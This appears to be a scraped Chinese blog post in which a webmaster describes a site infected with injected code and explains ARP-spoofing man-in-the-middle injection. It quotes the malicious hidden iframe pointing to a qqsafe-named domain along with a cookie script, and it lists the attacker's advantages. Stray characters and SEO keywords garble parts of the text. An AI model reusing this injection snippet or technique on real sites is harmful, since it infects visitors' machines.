郑州网站的优化,wordpress 又拍云,北京网站建站,开发公司项目经理职责昨天小站被挂马了#xff0c;每次打开都会自动弹出一个对话框#xff0c;提示正准备安装...#xff0c;然后就消失。查看页面的源文件会发现在代码的最后面被加上了9 ~0 ]* U9 N2 ^ body z% I9 o( h% [ ? A iframe srchttp://786ts.qqsafe-q… 昨天小站被挂马了每次打开都会自动弹出一个对话框提示正准备安装...然后就消失。查看页面的源文件会发现在代码的最后面被加上了9 ~0 ]* U9 N2 ^ body z% I9 o( h% [ ? A iframe srchttp://786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org height50 width0/iframe8 y1 d8 M) l% D* ; E script languagejavascript9 q }/ {- y* U/ z var expires new Date();expires.setTime(expires.getTime() 7*24*60*60*1000);document.cookievovo123456test;expiresexpires.toGMTString(); X- O8 ~8 . } /script5 T% t h P z /body! ~4 d | v A3 - O m ]1 S 这段代码。经过我和技术人员的一整天的辛苦查找终于解决了。最终得出结论是服务器被植入了木马程序这样所在服务器上的所有站点均被挂马了经查结果跟我们推测的一模一样而且中毒情况完全相同。下面是关于qqsafe病毒、arp网站挂马的原理剖析奉献给需要的网友希望被挂马的站长朋友能早日摆脱木马的困扰 以下是解决办法 不管是访问服务器上的任何网页就连404的页面也会在html后加入 body iframe srchttp://786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org height50 width0/iframe script languagejavascript var expires new Date();expires.setTime(expires.getTime() 7*24*60*60*1000);document.cookievovo123456test;expiresexpires.toGMTString(); /script /body 挂马的位置在html标记左右,上面这段恶意代码它会每隔几秒加入代码也就是说在输出具体的东西之前就被挂了有时有有时又没有不是网页源代码问题也没有在网页源代码中加入恶意代码即使重装服务器格式化重分区过第一个硬盘放上去网站没多久一样再会出现这种情况. 首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题. 那么剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的). 目的通过arp欺骗来直接挂马 优点:可以直接通过arp欺骗来挂马. 通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码 但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码 2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码. 优点:1.可以不用获得目标主机的权限就可以直接在上面挂马 2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句. 3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果. 原理arp中间人攻击实际上相当于做了一次代理。 正常时候: A----B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机 arp中间人攻击时候: A----C----B B----C----A 实际上,C在这里做了一次代理的作用 那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如iframe...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了. 什么是ARP 英文原义Address Resolution Protocol 中文释义RFC-826地址解析协议 局域网中网络中实际传输的是“帧”帧里面是有目标主机的MAC地址的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址查询目标设备的MAC地址以保证通信的顺利进行。 注解简单地说ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址即网卡的MAC地址比如IP地址为192.168.0.1网卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包即ARP请求然后目标主机向该主机发送一个含有IP地址和MAC地址数据包通过MAC地址两个主机就可以实现数据传输了。 应用在安装了以太网网络适配器的计算机中都有专门的ARP缓存包含一个或多个表用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息可以使用arp命令来完成比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容键入“arp -d IPaddress”表示删除指定的IP地址项IPaddress表示IP地址。arp命令的其他用法可以键入“arp /?”查看到。 摘自木木家园
